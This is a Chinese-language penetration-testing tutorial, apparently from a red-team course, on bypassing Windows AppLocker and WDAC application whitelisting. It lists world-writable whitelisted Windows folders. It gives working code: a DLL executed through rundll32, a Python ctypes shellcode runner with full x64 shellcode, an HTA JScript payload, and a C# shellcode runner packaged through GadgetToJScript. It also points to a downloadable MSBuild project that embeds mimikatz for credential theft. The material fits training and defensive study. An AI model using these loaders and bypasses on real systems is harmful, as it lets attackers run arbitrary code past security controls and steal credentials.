Skip to main content

应用程序白名单

无论是试图获得初始 Beacon 会话,还是对目标用户与主机进行后渗透操作,应用程序白名单作为一项安全控制机制,会阻止我们的行动。接下来,我们来探讨 AppLocker 的概念,与其绕过技术。


AppLocker

AppLocker 是 Microsoft 的应用程序白名单技术,自 Windows 7 开始引入。AppLocker 可以限制允许在系统上运行的可执行文件脚本安装包打包程序以及 dll,并且可以配置启用仅审计

image.png

如果一个类别被启用了,那么该类别的规则会被适用,每个类别都有各自的默认规则。默认规则下对于 exe 文件而言,任何在 Program Files文件夹下的可执行文件不受影响,Windows 文件夹下的可执行文件不受影响,以及管理员用户 (提升特权)不受影响。

image.png

此外,我们还可以添加自定义规则,以及基于拒绝的规则,也就是不允许特定应用被执行。基于拒绝的规则可用于覆盖基于允许的规则,这些规则通常用于阻止 LOLBAS,例如 MSBuild.exe

我们在 File01 上查看现有的 exe 规则:

Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\

image.png

以及现有的脚本规则:

Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script\

image.png

绕过AppLocker

利用脆弱规则

如果管理员采用了默认的 AppLocker 规则,那么我们可以轻易地绕过 AppLocker。对于可执行文件的分类,默认规则允许 C:\Windows 目录下的文件被执行。在默认的文件权限下,例如 C:\Windows\TasksC:\Windows\Temp 目录是所有用户可写的。更加完整的列表如下:

c:\windows\system32\microsoft\crypto\rsa\machinekeys
c:\windows\system32\tasks_migrated\microsoft\windows\pla\system
c:\windows\syswow64\tasks\microsoft\windows\pla\system
c:\windows\debug\wia
c:\windows\system32\tasks
c:\windows\syswow64\tasks
c:\windows\tasks
c:\windows\registration\crmlog
c:\windows\system32\com\dmp
c:\windows\system32\fxstmp
c:\windows\system32\spool\drivers\color
c:\windows\system32\spool\printers
c:\windows\system32\spool\servers
c:\windows\syswow64\com\dmp
c:\windows\syswow64\fxstmp
c:\windows\temp
c:\windows\tracing

将计算器程序复制到用户目录下,用户目录不在默认规则的白名单中,因此应用的执行会被 AppLocker 阻止。

image.png

但当我们将程序复制到一可写的白名单中,便绕过了 AppLocker 的限制。

image.png

执行 DLL 载荷

AppLocker 中 DLL 分类在高级页面,因为配置基于 DLL 分类的规则需要更加仔细与慎重,否则会影响系统性能以及遭遇异常。因此,DLL 分类往往不会被配置。

image.png

这时候,我们可以编译或生成一个 DLL 载荷,然后通过 rundll32 二进制来执行。下述代码是通过 DLL 来调用 MessageBoxA API。

#include "pch.h"
#include "windows.h"
#include "stdlib.h"
#include <stdio.h>



extern "C" __declspec(dllexport) void msg_export()
{
    MessageBoxA(NULL, "From export function", "Message", MB_OK);
}


void msg_dllmain()
{
    MessageBoxA(NULL, "From DllMain", "Message", MB_OK);
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        msg_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

导出函数 msg_calc 可被外部调用,自然可以绕过 AppLocker。

image.png


第三方执行

AppLocker 仅适用于原生 Windows 可执行文件类型,对于 PythonJava 等第三方脚本引擎或者高级语言执行环境,没有控制效果。例如,我们可以使用 Python 类型的后利用工具进行操作。例如 Python 工具 pypykatz 实现了 Mimikatz 中的绝大多数功能,Impacket 系列工具更是在 AD 攻击与利用中彰显强大功能。

File01 上安装了 Python 语言,并且所有用户都可以运行。

image.png

以下述的 Shellcode 运行器为例,Shellcode 内容为弹出 calc.exe 程序。

import ctypes, struct


shellcode =     b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
shellcode +=    b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
shellcode +=    b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
shellcode +=    b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
shellcode +=    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
shellcode +=    b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode +=    b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
shellcode +=    b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
shellcode +=    b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode +=    b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
shellcode +=    b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode +=    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode +=    b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
shellcode +=    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
shellcode +=    b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
shellcode +=    b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
shellcode +=    b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
shellcode +=    b"\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
shellcode +=    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode +=    b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode +=    b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

shellcode=bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

在 File01 上以 john 用户运行该 Shellcode 运行器脚本,计算器成功弹出,整个过程并没有收到 AppLocker 影响。

image.png


HTA

hta 也是客户端攻击中常用的载荷类型,hta 文件的内容与 html 无异,只是默认由 C:\Windows\System32\mshta.exe 执行。因为 mshta.exe 是微软签名的应用程序,因此不受 AppLocker 限制。我们可以将自定义的 JScript 代码嵌入到hta文件中,以绕过AppLocker。

能运行 calc.exe 程序的简易 hta 载荷如下:

<html> 
<head> 
<script language="JScript">
	var shell = new ActiveXObject("WScript.Shell");
	var res = shell.Run("calc.exe");
</script>
</head> 
<body>
<script language="JScript">
	self.close();
</script>
</body> 
</html>

但我们还能获得更多的自由度。GadgetToJScript (https://github.com/med0x2e/GadgetToJScript) 是一款能生成序列化的 .NET gadget,gadget当使用 BinaryFormatterJS/VBS/VBA 脚本进行反序列化时,可以触发 .NET 组件的加载或执行。这些 gadget 组件的输出可用于 Office 的宏载荷,以及我们当前讨论的 hta 载荷

 

编辑 TestAssembly 项目的 Program.cs 文件,弹出计算器的 Shellcode 运行器参考代码如下:

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace TestAssembly{
    public class Program{

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public Program(){
            byte[] buf = new byte[] {   
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
            0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
            0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
            0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
            0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
            0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
            0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
            0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
            0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
            0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
            0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
            0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
            0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
            0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
            0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
            0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

编译 GadgetToJScript 以及 TestAssembly,然后运行 GadgetToJScript.exe 根据 TestAssembly.dll 以及其他选项生成 hta 载荷。

image.png

最终,我们可以通过 mshta 绕过 AppLocker 实现任意代码执行。因为在 C# 中我们可以自由调用 API,因此十分灵活。

image.png

 


 

LOLBAS

LOLBAS,即 Live Off The Land BinariesBinaries, Scripts and ScriptsLibraries (https://lolbas-project.github.io/),是系统内置的可以为我们所用的二进制文件、脚本、库等。LOLBAS 的优势在于,因为被微软所签名,所以不会被 AppLocker 限制,用于其他方面也可以降低被检测的概率。为了突破 AppLocker,我们使用 MSBuild.exe。该文件用于编译 .NET 工程文件,但实际上还有更多用途,例如执行 PowerShell 命令,注入 shellcode,甚至执行 PE 文件。我们以 mimikatz.exe 为例,从 https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj 下载嵌入了 mimikatz.exe 的工程文件,然后用 MSBuild.exe 在 AppLocker 本该锁定的文件夹编译该工程文件,我们会发现可以成功执行 mimikatz。因为工程文件中可以插入 C# 代码,所以 MSBuild.exe 可以在AppLocker 存在的情况下最大程度满足我们对渗透工具的需要。

image.png

image.png



WDAC

Windows Defender 应用程序控制,即 WDAC,从 Windows 10 开始引入。其作用类似于 AppLocker,但有一些关键区别,其中最重要的是微软承认 WDAC 是官方的安全边界。这意味着 WDAC 更加强大,如果发现绕过 WDAC 的方法,可以获得 CVE 编号。

WDAC 可配置的规则如下:

用于签署应用程序及其二进制文件的协同签名证书的属性
来自文件签名元数据的应用程序二进制文件的属性,例如原始文件名和版本,或文件的哈希值
应用程序的声誉由
启动应用程序及其二进制文件安装的进程标识(托管安装程序)
启动应用程序或文件的路径
启动应用程序或二进制文件的进程

从根本上绕过 WDAC 是不存在的,但我们可以寻找配置和策略上的漏洞,以及对 LOLBAS 的利用,我们可以在 https://github.com/bohops/UltimateWDACBypassList 查看可能导致 WDAC 绕过的手册。